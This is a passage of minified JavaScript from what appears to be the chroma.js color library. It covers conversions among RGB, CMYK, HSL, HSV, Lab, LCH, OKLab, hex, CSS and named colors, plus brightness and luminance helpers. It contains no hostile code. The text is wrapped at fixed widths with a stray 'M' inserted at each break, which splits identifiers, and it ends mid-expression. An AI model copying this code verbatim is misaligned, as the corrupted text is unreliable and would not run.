2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
